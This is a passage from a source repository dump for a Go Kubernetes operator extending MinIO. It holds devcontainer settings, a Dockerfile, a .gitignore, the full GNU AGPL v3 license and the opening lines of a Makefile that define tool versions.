├── .devcontainer ├── devcontainer.json └── post-create.sh ├── .gitignore ├── Dockerfile ├── LICENSE.md ├── Makefile ├── README.md ├── charts ├── crds │ ├── .helmignore │ ├── Chart.yaml │ ├── README.md.gotmpl │ ├── templates │ │ └── crds.yaml │ └── values.yaml └── operator │ ├── .helmignore │ ├── Chart.yaml │ ├── README.md.gotmpl │ ├── templates │ ├── _helpers.tpl │ ├── clusterrole.yaml │ ├── clusterrolebinding.yaml │ ├── deployment.yaml │ └── serviceaccount.yaml │ └── values.yaml ├── cmd └── operator │ └── operator.go ├── dev ├── dev.go.template └── manifests │ ├── crds │ └── kustomization.yaml │ ├── minio-operator │ └── kustomization.yaml │ ├── minio-tenant │ └── kustomization.yaml │ └── openldap │ ├── deployment.yaml │ ├── kustomization.yaml │ └── service.yaml ├── go.mod ├── go.sum ├── internal ├── e2e │ └── main_test.go ├── embed.go ├── embed │ └── empty.txt └── operator │ ├── main.go │ └── operator.go ├── manifests └── example-resources.yaml └── pkg └── api └── bfiola.dev └── v1 ├── common.go ├── miniobucket.go ├── miniogroup.go ├── miniogroupbinding.go ├── miniopolicy.go ├── miniopolicybinding.go ├── miniouser.go └── zz_generated.deepcopy.go /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | "customizations": { 3 | "vscode": { 4 | "extensions": [ 5 | "esbenp.prettier-vscode", 6 | "golang.go", 7 | "rohit-gohri.format-code-action", 8 | "ms-vscode.makefile-tools" 9 | ], 10 | "settings": { 11 | "editor.codeActionsOnSave": [ 12 | "source.organizeImports", 13 | "source.formatDocument" 14 | ], 15 | "editor.defaultFormatter": "esbenp.prettier-vscode", 16 | "go.testFlags": ["-v", "-count=1"], 17 | "go.testTimeout": "300s", 18 | "launch": { 19 | "version": "0.2.0", 20 | "configurations": [ 21 | { 22 | "name": "${workspaceFolder}/dev/dev.go", 23 | "type": "go", 24 | "request": "launch", 25 | "mode": "auto", 26 | "program": "${workspaceFolder}/dev/dev.go" 27 | } 28 | ] 29 | }, 30 | "[go]": { 31 | "editor.defaultFormatter": "golang.go" 32 | } 33 | } 34 | } 35 | }, 36 | "features": { 37 | // "ghcr.io/devcontainers/features/docker-outside-of-docker:1": {}, 38 | "ghcr.io/devcontainers/features/docker-in-docker:2": {}, 39 | "ghcr.io/devcontainers/features/go": { 40 | "version": "1.22.5" 41 | }, 42 | "ghcr.io/rocker-org/devcontainer-features/apt-packages:1": { 43 | "packages": ["curl", "git", "iproute2", "sudo", "vim"] 44 | } 45 | }, 46 | "image": "ubuntu:latest", 47 | "postCreateCommand": ".devcontainer/post-create.sh", 48 | "remoteEnv": { 49 | "MC_DISABLE_PAGER": "1", 50 | "MC_INSECURE": "1", 51 | "KUBECONFIG": "/workspaces/minio-operator-ext/.dev/kube-config.yaml", 52 | "PATH": "/workspaces/minio-operator-ext/.dev:${containerEnv:PATH}" 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /.devcontainer/post-create.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | set -ex 3 | 4 | # install tools 5 | make install-tools 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # ignore root level go files 2 | /dev/dev.go 3 | 4 | # ignore IDE files 5 | /.vscode 6 | 7 | # ignore dev assets 8 | /.dev 9 | 10 | # ignore generated assets 11 | charts/crds/generated 12 | charts/crds/LICENSE 13 | charts/operator/generated 14 | charts/operator/LICENSE 15 | internal/embed/**/* 16 | !internal/embed/empty.txt -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.22.5 AS builder 2 | WORKDIR /app 3 | ADD cmd cmd 4 | ADD internal internal 5 | ADD pkg pkg 6 | ADD go.mod go.mod 7 | ADD go.sum go.sum 8 | RUN CGO_ENABLED=0 go build cmd/operator/operator.go 9 | 10 | FROM gcr.io/distroless/static-debian12:nonroot AS final 11 | COPY --from=builder /app/operator /operator 12 | ENTRYPOINT ["/operator"] 13 | CMD ["run"] -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | GNU Affero General Public License 2 | ================================= 3 | 4 | _Version 3, 19 November 2007_ 5 | _Copyright © 2007 Free Software Foundation, Inc. <>_ 6 | 7 | Everyone is permitted to copy and distribute verbatim copies 8 | of this license document, but changing it is not allowed. 9 | 10 | ## Preamble 11 | 12 | The GNU Affero General Public License is a free, copyleft license for 13 | software and other kinds of works, specifically designed to ensure 14 | cooperation with the community in the case of network server software. 15 | 16 | The licenses for most software and other practical works are designed 17 | to take away your freedom to share and change the works. By contrast, 18 | our General Public Licenses are intended to guarantee your freedom to 19 | share and change all versions of a program--to make sure it remains free 20 | software for all its users. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | Developers that use our General Public Licenses protect your rights 30 | with two steps: **(1)** assert copyright on the software, and **(2)** offer 31 | you this License which gives you legal permission to copy, distribute 32 | and/or modify the software. 33 | 34 | A secondary benefit of defending all users' freedom is that 35 | improvements made in alternate versions of the program, if they 36 | receive widespread use, become available for other developers to 37 | incorporate. Many developers of free software are heartened and 38 | encouraged by the resulting cooperation. However, in the case of 39 | software used on network servers, this result may fail to come about. 40 | The GNU General Public License permits making a modified version and 41 | letting the public access it on a server without ever releasing its 42 | source code to the public. 43 | 44 | The GNU Affero General Public License is designed specifically to 45 | ensure that, in such cases, the modified source code becomes available 46 | to the community. It requires the operator of a network server to 47 | provide the source code of the modified version running there to the 48 | users of that server. Therefore, public use of a modified version, on 49 | a publicly accessible server, gives the public access to the source 50 | code of the modified version. 51 | 52 | An older license, called the Affero General Public License and 53 | published by Affero, was designed to accomplish similar goals. This is 54 | a different license, not a version of the Affero GPL, but Affero has 55 | released a new version of the Affero GPL which permits relicensing under 56 | this license. 57 | 58 | The precise terms and conditions for copying, distribution and 59 | modification follow. 60 | 61 | ## TERMS AND CONDITIONS 62 | 63 | ### 0. Definitions 64 | 65 | “This License” refers to version 3 of the GNU Affero General Public License. 66 | 67 | “Copyright” also means copyright-like laws that apply to other kinds of 68 | works, such as semiconductor masks. 69 | 70 | “The Program” refers to any copyrightable work licensed under this 71 | License. Each licensee is addressed as “you”. “Licensees” and 72 | “recipients” may be individuals or organizations. 73 | 74 | To “modify” a work means to copy from or adapt all or part of the work 75 | in a fashion requiring copyright permission, other than the making of an 76 | exact copy. The resulting work is called a “modified version” of the 77 | earlier work or a work “based on” the earlier work. 78 | 79 | A “covered work” means either the unmodified Program or a work based 80 | on the Program. 81 | 82 | To “propagate” a work means to do anything with it that, without 83 | permission, would make you directly or secondarily liable for 84 | infringement under applicable copyright law, except executing it on a 85 | computer or modifying a private copy. Propagation includes copying, 86 | distribution (with or without modification), making available to the 87 | public, and in some countries other activities as well. 88 | 89 | To “convey” a work means any kind of propagation that enables other 90 | parties to make or receive copies. Mere interaction with a user through 91 | a computer network, with no transfer of a copy, is not conveying. 92 | 93 | An interactive user interface displays “Appropriate Legal Notices” 94 | to the extent that it includes a convenient and prominently visible 95 | feature that **(1)** displays an appropriate copyright notice, and **(2)** 96 | tells the user that there is no warranty for the work (except to the 97 | extent that warranties are provided), that licensees may convey the 98 | work under this License, and how to view a copy of this License. If 99 | the interface presents a list of user commands or options, such as a 100 | menu, a prominent item in the list meets this criterion. 101 | 102 | ### 1. Source Code 103 | 104 | The “source code” for a work means the preferred form of the work 105 | for making modifications to it. “Object code” means any non-source 106 | form of a work. 107 | 108 | A “Standard Interface” means an interface that either is an official 109 | standard defined by a recognized standards body, or, in the case of 110 | interfaces specified for a particular programming language, one that 111 | is widely used among developers working in that language. 112 | 113 | The “System Libraries” of an executable work include anything, other 114 | than the work as a whole, that **(a)** is included in the normal form of 115 | packaging a Major Component, but which is not part of that Major 116 | Component, and **(b)** serves only to enable use of the work with that 117 | Major Component, or to implement a Standard Interface for which an 118 | implementation is available to the public in source code form. A 119 | “Major Component”, in this context, means a major essential component 120 | (kernel, window system, and so on) of the specific operating system 121 | (if any) on which the executable work runs, or a compiler used to 122 | produce the work, or an object code interpreter used to run it. 123 | 124 | The “Corresponding Source” for a work in object code form means all 125 | the source code needed to generate, install, and (for an executable 126 | work) run the object code and to modify the work, including scripts to 127 | control those activities. However, it does not include the work's 128 | System Libraries, or general-purpose tools or generally available free 129 | programs which are used unmodified in performing those activities but 130 | which are not part of the work. For example, Corresponding Source 131 | includes interface definition files associated with source files for 132 | the work, and the source code for shared libraries and dynamically 133 | linked subprograms that the work is specifically designed to require, 134 | such as by intimate data communication or control flow between those 135 | subprograms and other parts of the work. 136 | 137 | The Corresponding Source need not include anything that users 138 | can regenerate automatically from other parts of the Corresponding 139 | Source. 140 | 141 | The Corresponding Source for a work in source code form is that 142 | same work. 143 | 144 | ### 2. Basic Permissions 145 | 146 | All rights granted under this License are granted for the term of 147 | copyright on the Program, and are irrevocable provided the stated 148 | conditions are met. This License explicitly affirms your unlimited 149 | permission to run the unmodified Program. The output from running a 150 | covered work is covered by this License only if the output, given its 151 | content, constitutes a covered work. This License acknowledges your 152 | rights of fair use or other equivalent, as provided by copyright law. 153 | 154 | You may make, run and propagate covered works that you do not 155 | convey, without conditions so long as your license otherwise remains 156 | in force. You may convey covered works to others for the sole purpose 157 | of having them make modifications exclusively for you, or provide you 158 | with facilities for running those works, provided that you comply with 159 | the terms of this License in conveying all material for which you do 160 | not control copyright. Those thus making or running the covered works 161 | for you must do so exclusively on your behalf, under your direction 162 | and control, on terms that prohibit them from making any copies of 163 | your copyrighted material outside their relationship with you. 164 | 165 | Conveying under any other circumstances is permitted solely under 166 | the conditions stated below. Sublicensing is not allowed; section 10 167 | makes it unnecessary. 168 | 169 | ### 3. Protecting Users' Legal Rights From Anti-Circumvention Law 170 | 171 | No covered work shall be deemed part of an effective technological 172 | measure under any applicable law fulfilling obligations under article 173 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 174 | similar laws prohibiting or restricting circumvention of such 175 | measures. 176 | 177 | When you convey a covered work, you waive any legal power to forbid 178 | circumvention of technological measures to the extent such circumvention 179 | is effected by exercising rights under this License with respect to 180 | the covered work, and you disclaim any intention to limit operation or 181 | modification of the work as a means of enforcing, against the work's 182 | users, your or third parties' legal rights to forbid circumvention of 183 | technological measures. 184 | 185 | ### 4. Conveying Verbatim Copies 186 | 187 | You may convey verbatim copies of the Program's source code as you 188 | receive it, in any medium, provided that you conspicuously and 189 | appropriately publish on each copy an appropriate copyright notice; 190 | keep intact all notices stating that this License and any 191 | non-permissive terms added in accord with section 7 apply to the code; 192 | keep intact all notices of the absence of any warranty; and give all 193 | recipients a copy of this License along with the Program. 194 | 195 | You may charge any price or no price for each copy that you convey, 196 | and you may offer support or warranty protection for a fee. 197 | 198 | ### 5. Conveying Modified Source Versions 199 | 200 | You may convey a work based on the Program, or the modifications to 201 | produce it from the Program, in the form of source code under the 202 | terms of section 4, provided that you also meet all of these conditions: 203 | 204 | * **a)** The work must carry prominent notices stating that you modified 205 | it, and giving a relevant date. 206 | * **b)** The work must carry prominent notices stating that it is 207 | released under this License and any conditions added under section 7. 208 | This requirement modifies the requirement in section 4 to 209 | “keep intact all notices”. 210 | * **c)** You must license the entire work, as a whole, under this 211 | License to anyone who comes into possession of a copy. This 212 | License will therefore apply, along with any applicable section 7 213 | additional terms, to the whole of the work, and all its parts, 214 | regardless of how they are packaged. This License gives no 215 | permission to license the work in any other way, but it does not 216 | invalidate such permission if you have separately received it. 217 | * **d)** If the work has interactive user interfaces, each must display 218 | Appropriate Legal Notices; however, if the Program has interactive 219 | interfaces that do not display Appropriate Legal Notices, your 220 | work need not make them do so. 221 | 222 | A compilation of a covered work with other separate and independent 223 | works, which are not by their nature extensions of the covered work, 224 | and which are not combined with it such as to form a larger program, 225 | in or on a volume of a storage or distribution medium, is called an 226 | “aggregate” if the compilation and its resulting copyright are not 227 | used to limit the access or legal rights of the compilation's users 228 | beyond what the individual works permit. Inclusion of a covered work 229 | in an aggregate does not cause this License to apply to the other 230 | parts of the aggregate. 231 | 232 | ### 6. Conveying Non-Source Forms 233 | 234 | You may convey a covered work in object code form under the terms 235 | of sections 4 and 5, provided that you also convey the 236 | machine-readable Corresponding Source under the terms of this License, 237 | in one of these ways: 238 | 239 | * **a)** Convey the object code in, or embodied in, a physical product 240 | (including a physical distribution medium), accompanied by the 241 | Corresponding Source fixed on a durable physical medium 242 | customarily used for software interchange. 243 | * **b)** Convey the object code in, or embodied in, a physical product 244 | (including a physical distribution medium), accompanied by a 245 | written offer, valid for at least three years and valid for as 246 | long as you offer spare parts or customer support for that product 247 | model, to give anyone who possesses the object code either **(1)** a 248 | copy of the Corresponding Source for all the software in the 249 | product that is covered by this License, on a durable physical 250 | medium customarily used for software interchange, for a price no 251 | more than your reasonable cost of physically performing this 252 | conveying of source, or **(2)** access to copy the 253 | Corresponding Source from a network server at no charge. 254 | * **c)** Convey individual copies of the object code with a copy of the 255 | written offer to provide the Corresponding Source. This 256 | alternative is allowed only occasionally and noncommercially, and 257 | only if you received the object code with such an offer, in accord 258 | with subsection 6b. 259 | * **d)** Convey the object code by offering access from a designated 260 | place (gratis or for a charge), and offer equivalent access to the 261 | Corresponding Source in the same way through the same place at no 262 | further charge. You need not require recipients to copy the 263 | Corresponding Source along with the object code. If the place to 264 | copy the object code is a network server, the Corresponding Source 265 | may be on a different server (operated by you or a third party) 266 | that supports equivalent copying facilities, provided you maintain 267 | clear directions next to the object code saying where to find the 268 | Corresponding Source. Regardless of what server hosts the 269 | Corresponding Source, you remain obligated to ensure that it is 270 | available for as long as needed to satisfy these requirements. 271 | * **e)** Convey the object code using peer-to-peer transmission, provided 272 | you inform other peers where the object code and Corresponding 273 | Source of the work are being offered to the general public at no 274 | charge under subsection 6d. 275 | 276 | A separable portion of the object code, whose source code is excluded 277 | from the Corresponding Source as a System Library, need not be 278 | included in conveying the object code work. 279 | 280 | A “User Product” is either **(1)** a “consumer product”, which means any 281 | tangible personal property which is normally used for personal, family, 282 | or household purposes, or **(2)** anything designed or sold for incorporation 283 | into a dwelling. In determining whether a product is a consumer product, 284 | doubtful cases shall be resolved in favor of coverage. For a particular 285 | product received by a particular user, “normally used” refers to a 286 | typical or common use of that class of product, regardless of the status 287 | of the particular user or of the way in which the particular user 288 | actually uses, or expects or is expected to use, the product. A product 289 | is a consumer product regardless of whether the product has substantial 290 | commercial, industrial or non-consumer uses, unless such uses represent 291 | the only significant mode of use of the product. 292 | 293 | “Installation Information” for a User Product means any methods, 294 | procedures, authorization keys, or other information required to install 295 | and execute modified versions of a covered work in that User Product from 296 | a modified version of its Corresponding Source. The information must 297 | suffice to ensure that the continued functioning of the modified object 298 | code is in no case prevented or interfered with solely because 299 | modification has been made. 300 | 301 | If you convey an object code work under this section in, or with, or 302 | specifically for use in, a User Product, and the conveying occurs as 303 | part of a transaction in which the right of possession and use of the 304 | User Product is transferred to the recipient in perpetuity or for a 305 | fixed term (regardless of how the transaction is characterized), the 306 | Corresponding Source conveyed under this section must be accompanied 307 | by the Installation Information. But this requirement does not apply 308 | if neither you nor any third party retains the ability to install 309 | modified object code on the User Product (for example, the work has 310 | been installed in ROM). 311 | 312 | The requirement to provide Installation Information does not include a 313 | requirement to continue to provide support service, warranty, or updates 314 | for a work that has been modified or installed by the recipient, or for 315 | the User Product in which it has been modified or installed. Access to a 316 | network may be denied when the modification itself materially and 317 | adversely affects the operation of the network or violates the rules and 318 | protocols for communication across the network. 319 | 320 | Corresponding Source conveyed, and Installation Information provided, 321 | in accord with this section must be in a format that is publicly 322 | documented (and with an implementation available to the public in 323 | source code form), and must require no special password or key for 324 | unpacking, reading or copying. 325 | 326 | ### 7. Additional Terms 327 | 328 | “Additional permissions” are terms that supplement the terms of this 329 | License by making exceptions from one or more of its conditions. 330 | Additional permissions that are applicable to the entire Program shall 331 | be treated as though they were included in this License, to the extent 332 | that they are valid under applicable law. If additional permissions 333 | apply only to part of the Program, that part may be used separately 334 | under those permissions, but the entire Program remains governed by 335 | this License without regard to the additional permissions. 336 | 337 | When you convey a copy of a covered work, you may at your option 338 | remove any additional permissions from that copy, or from any part of 339 | it. (Additional permissions may be written to require their own 340 | removal in certain cases when you modify the work.) You may place 341 | additional permissions on material, added by you to a covered work, 342 | for which you have or can give appropriate copyright permission. 343 | 344 | Notwithstanding any other provision of this License, for material you 345 | add to a covered work, you may (if authorized by the copyright holders of 346 | that material) supplement the terms of this License with terms: 347 | 348 | * **a)** Disclaiming warranty or limiting liability differently from the 349 | terms of sections 15 and 16 of this License; or 350 | * **b)** Requiring preservation of specified reasonable legal notices or 351 | author attributions in that material or in the Appropriate Legal 352 | Notices displayed by works containing it; or 353 | * **c)** Prohibiting misrepresentation of the origin of that material, or 354 | requiring that modified versions of such material be marked in 355 | reasonable ways as different from the original version; or 356 | * **d)** Limiting the use for publicity purposes of names of licensors or 357 | authors of the material; or 358 | * **e)** Declining to grant rights under trademark law for use of some 359 | trade names, trademarks, or service marks; or 360 | * **f)** Requiring indemnification of licensors and authors of that 361 | material by anyone who conveys the material (or modified versions of 362 | it) with contractual assumptions of liability to the recipient, for 363 | any liability that these contractual assumptions directly impose on 364 | those licensors and authors. 365 | 366 | All other non-permissive additional terms are considered “further 367 | restrictions” within the meaning of section 10. If the Program as you 368 | received it, or any part of it, contains a notice stating that it is 369 | governed by this License along with a term that is a further 370 | restriction, you may remove that term. If a license document contains 371 | a further restriction but permits relicensing or conveying under this 372 | License, you may add to a covered work material governed by the terms 373 | of that license document, provided that the further restriction does 374 | not survive such relicensing or conveying. 375 | 376 | If you add terms to a covered work in accord with this section, you 377 | must place, in the relevant source files, a statement of the 378 | additional terms that apply to those files, or a notice indicating 379 | where to find the applicable terms. 380 | 381 | Additional terms, permissive or non-permissive, may be stated in the 382 | form of a separately written license, or stated as exceptions; 383 | the above requirements apply either way. 384 | 385 | ### 8. Termination 386 | 387 | You may not propagate or modify a covered work except as expressly 388 | provided under this License. Any attempt otherwise to propagate or 389 | modify it is void, and will automatically terminate your rights under 390 | this License (including any patent licenses granted under the third 391 | paragraph of section 11). 392 | 393 | However, if you cease all violation of this License, then your 394 | license from a particular copyright holder is reinstated **(a)** 395 | provisionally, unless and until the copyright holder explicitly and 396 | finally terminates your license, and **(b)** permanently, if the copyright 397 | holder fails to notify you of the violation by some reasonable means 398 | prior to 60 days after the cessation. 399 | 400 | Moreover, your license from a particular copyright holder is 401 | reinstated permanently if the copyright holder notifies you of the 402 | violation by some reasonable means, this is the first time you have 403 | received notice of violation of this License (for any work) from that 404 | copyright holder, and you cure the violation prior to 30 days after 405 | your receipt of the notice. 406 | 407 | Termination of your rights under this section does not terminate the 408 | licenses of parties who have received copies or rights from you under 409 | this License. If your rights have been terminated and not permanently 410 | reinstated, you do not qualify to receive new licenses for the same 411 | material under section 10. 412 | 413 | ### 9. Acceptance Not Required for Having Copies 414 | 415 | You are not required to accept this License in order to receive or 416 | run a copy of the Program. Ancillary propagation of a covered work 417 | occurring solely as a consequence of using peer-to-peer transmission 418 | to receive a copy likewise does not require acceptance. However, 419 | nothing other than this License grants you permission to propagate or 420 | modify any covered work. These actions infringe copyright if you do 421 | not accept this License. Therefore, by modifying or propagating a 422 | covered work, you indicate your acceptance of this License to do so. 423 | 424 | ### 10. Automatic Licensing of Downstream Recipients 425 | 426 | Each time you convey a covered work, the recipient automatically 427 | receives a license from the original licensors, to run, modify and 428 | propagate that work, subject to this License. You are not responsible 429 | for enforcing compliance by third parties with this License. 430 | 431 | An “entity transaction” is a transaction transferring control of an 432 | organization, or substantially all assets of one, or subdividing an 433 | organization, or merging organizations. If propagation of a covered 434 | work results from an entity transaction, each party to that 435 | transaction who receives a copy of the work also receives whatever 436 | licenses to the work the party's predecessor in interest had or could 437 | give under the previous paragraph, plus a right to possession of the 438 | Corresponding Source of the work from the predecessor in interest, if 439 | the predecessor has it or can get it with reasonable efforts. 440 | 441 | You may not impose any further restrictions on the exercise of the 442 | rights granted or affirmed under this License. For example, you may 443 | not impose a license fee, royalty, or other charge for exercise of 444 | rights granted under this License, and you may not initiate litigation 445 | (including a cross-claim or counterclaim in a lawsuit) alleging that 446 | any patent claim is infringed by making, using, selling, offering for 447 | sale, or importing the Program or any portion of it. 448 | 449 | ### 11. Patents 450 | 451 | A “contributor” is a copyright holder who authorizes use under this 452 | License of the Program or a work on which the Program is based. The 453 | work thus licensed is called the contributor's “contributor version”. 454 | 455 | A contributor's “essential patent claims” are all patent claims 456 | owned or controlled by the contributor, whether already acquired or 457 | hereafter acquired, that would be infringed by some manner, permitted 458 | by this License, of making, using, or selling its contributor version, 459 | but do not include claims that would be infringed only as a 460 | consequence of further modification of the contributor version. For 461 | purposes of this definition, “control” includes the right to grant 462 | patent sublicenses in a manner consistent with the requirements of 463 | this License. 464 | 465 | Each contributor grants you a non-exclusive, worldwide, royalty-free 466 | patent license under the contributor's essential patent claims, to 467 | make, use, sell, offer for sale, import and otherwise run, modify and 468 | propagate the contents of its contributor version. 469 | 470 | In the following three paragraphs, a “patent license” is any express 471 | agreement or commitment, however denominated, not to enforce a patent 472 | (such as an express permission to practice a patent or covenant not to 473 | sue for patent infringement). To “grant” such a patent license to a 474 | party means to make such an agreement or commitment not to enforce a 475 | patent against the party. 476 | 477 | If you convey a covered work, knowingly relying on a patent license, 478 | and the Corresponding Source of the work is not available for anyone 479 | to copy, free of charge and under the terms of this License, through a 480 | publicly available network server or other readily accessible means, 481 | then you must either **(1)** cause the Corresponding Source to be so 482 | available, or **(2)** arrange to deprive yourself of the benefit of the 483 | patent license for this particular work, or **(3)** arrange, in a manner 484 | consistent with the requirements of this License, to extend the patent 485 | license to downstream recipients. “Knowingly relying” means you have 486 | actual knowledge that, but for the patent license, your conveying the 487 | covered work in a country, or your recipient's use of the covered work 488 | in a country, would infringe one or more identifiable patents in that 489 | country that you have reason to believe are valid. 490 | 491 | If, pursuant to or in connection with a single transaction or 492 | arrangement, you convey, or propagate by procuring conveyance of, a 493 | covered work, and grant a patent license to some of the parties 494 | receiving the covered work authorizing them to use, propagate, modify 495 | or convey a specific copy of the covered work, then the patent license 496 | you grant is automatically extended to all recipients of the covered 497 | work and works based on it. 498 | 499 | A patent license is “discriminatory” if it does not include within 500 | the scope of its coverage, prohibits the exercise of, or is 501 | conditioned on the non-exercise of one or more of the rights that are 502 | specifically granted under this License. You may not convey a covered 503 | work if you are a party to an arrangement with a third party that is 504 | in the business of distributing software, under which you make payment 505 | to the third party based on the extent of your activity of conveying 506 | the work, and under which the third party grants, to any of the 507 | parties who would receive the covered work from you, a discriminatory 508 | patent license **(a)** in connection with copies of the covered work 509 | conveyed by you (or copies made from those copies), or **(b)** primarily 510 | for and in connection with specific products or compilations that 511 | contain the covered work, unless you entered into that arrangement, 512 | or that patent license was granted, prior to 28 March 2007. 513 | 514 | Nothing in this License shall be construed as excluding or limiting 515 | any implied license or other defenses to infringement that may 516 | otherwise be available to you under applicable patent law. 517 | 518 | ### 12. No Surrender of Others' Freedom 519 | 520 | If conditions are imposed on you (whether by court order, agreement or 521 | otherwise) that contradict the conditions of this License, they do not 522 | excuse you from the conditions of this License. If you cannot convey a 523 | covered work so as to satisfy simultaneously your obligations under this 524 | License and any other pertinent obligations, then as a consequence you may 525 | not convey it at all. For example, if you agree to terms that obligate you 526 | to collect a royalty for further conveying from those to whom you convey 527 | the Program, the only way you could satisfy both those terms and this 528 | License would be to refrain entirely from conveying the Program. 529 | 530 | ### 13. Remote Network Interaction; Use with the GNU General Public License 531 | 532 | Notwithstanding any other provision of this License, if you modify the 533 | Program, your modified version must prominently offer all users 534 | interacting with it remotely through a computer network (if your version 535 | supports such interaction) an opportunity to receive the Corresponding 536 | Source of your version by providing access to the Corresponding Source 537 | from a network server at no charge, through some standard or customary 538 | means of facilitating copying of software. This Corresponding Source 539 | shall include the Corresponding Source for any work covered by version 3 540 | of the GNU General Public License that is incorporated pursuant to the 541 | following paragraph. 542 | 543 | Notwithstanding any other provision of this License, you have 544 | permission to link or combine any covered work with a work licensed 545 | under version 3 of the GNU General Public License into a single 546 | combined work, and to convey the resulting work. The terms of this 547 | License will continue to apply to the part which is the covered work, 548 | but the work with which it is combined will remain governed by version 549 | 3 of the GNU General Public License. 550 | 551 | ### 14. Revised Versions of this License 552 | 553 | The Free Software Foundation may publish revised and/or new versions of 554 | the GNU Affero General Public License from time to time. Such new versions 555 | will be similar in spirit to the present version, but may differ in detail to 556 | address new problems or concerns. 557 | 558 | Each version is given a distinguishing version number. If the 559 | Program specifies that a certain numbered version of the GNU Affero General 560 | Public License “or any later version” applies to it, you have the 561 | option of following the terms and conditions either of that numbered 562 | version or of any later version published by the Free Software 563 | Foundation. If the Program does not specify a version number of the 564 | GNU Affero General Public License, you may choose any version ever published 565 | by the Free Software Foundation. 566 | 567 | If the Program specifies that a proxy can decide which future 568 | versions of the GNU Affero General Public License can be used, that proxy's 569 | public statement of acceptance of a version permanently authorizes you 570 | to choose that version for the Program. 571 | 572 | Later license versions may give you additional or different 573 | permissions. However, no additional obligations are imposed on any 574 | author or copyright holder as a result of your choosing to follow a 575 | later version. 576 | 577 | ### 15. Disclaimer of Warranty 578 | 579 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 580 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 581 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY 582 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 583 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 584 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 585 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 586 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 587 | 588 | ### 16. Limitation of Liability 589 | 590 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 591 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 592 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 593 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 594 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 595 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 596 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 597 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 598 | SUCH DAMAGES. 599 | 600 | ### 17. Interpretation of Sections 15 and 16 601 | 602 | If the disclaimer of warranty and limitation of liability provided 603 | above cannot be given local legal effect according to their terms, 604 | reviewing courts shall apply local law that most closely approximates 605 | an absolute waiver of all civil liability in connection with the 606 | Program, unless a warranty or assumption of liability accompanies a 607 | copy of the Program in return for a fee. 608 | 609 | _END OF TERMS AND CONDITIONS_ 610 | 611 | ## How to Apply These Terms to Your New Programs 612 | 613 | If you develop a new program, and you want it to be of the greatest 614 | possible use to the public, the best way to achieve this is to make it 615 | free software which everyone can redistribute and change under these terms. 616 | 617 | To do so, attach the following notices to the program. It is safest 618 | to attach them to the start of each source file to most effectively 619 | state the exclusion of warranty; and each file should have at least 620 | the “copyright” line and a pointer to where the full notice is found. 621 | 622 | 623 | Copyright (C) 624 | 625 | This program is free software: you can redistribute it and/or modify 626 | it under the terms of the GNU Affero General Public License as published by 627 | the Free Software Foundation, either version 3 of the License, or 628 | (at your option) any later version. 629 | 630 | This program is distributed in the hope that it will be useful, 631 | but WITHOUT ANY WARRANTY; without even the implied warranty of 632 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 633 | GNU Affero General Public License for more details. 634 | 635 | You should have received a copy of the GNU Affero General Public License 636 | along with this program. If not, see . 637 | 638 | Also add information on how to contact you by electronic and paper mail. 639 | 640 | If your software can interact with users remotely through a computer 641 | network, you should also make sure that it provides a way for users to 642 | get its source. For example, if your program is a web application, its 643 | interface could display a “Source” link that leads users to an archive 644 | of the code. There are many ways you could offer source, and different 645 | solutions will be better for different programs; see section 13 for the 646 | specific requirements. 647 | 648 | You should also get your employer (if you work as a programmer) or school, 649 | if any, to sign a “copyright disclaimer” for the program, if necessary. 650 | For more information on this, and how to apply and follow the GNU AGPL, see 651 | <>. 652 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # NOTE: MINIO_VERSION, MC_VERSION are coupled 2 | ASSETS ?= $(shell pwd)/.dev 3 | DEV ?= $(shell pwd)/dev 4 | CONTROLLER_GEN_VERSION ?= 0.16.4 5 | CRANE_VERSION ?= 0.20.2 6 | HELM_VERSION ?= 3.16.1 7 | HELM_DOCS_VERSION ?= 1.14.2 8 | KUBERNETES_VERSION ?= 1.30.4 9 | LB_HOSTS_MANAGER_VERSION ?= 0.1.0 10 | MINIO_VERSION ?= 6.0.3 11 | MC_VERSION ?= 2024-08-17T11-33-50Z 12 | MINIKUBE_VERSION ?= 1.34.0 13 | 14 | OS = $(shell go env GOOS) 15 | ARCH = $(shell go env GOARCH) 16 | 17 | ALTARCH = $(ARCH) 18 | ifeq ($(ALTARCH),amd64) 19 | ALTARCH = x86_64 20 | endif 21 | 22 | CONTROLLER_GEN = 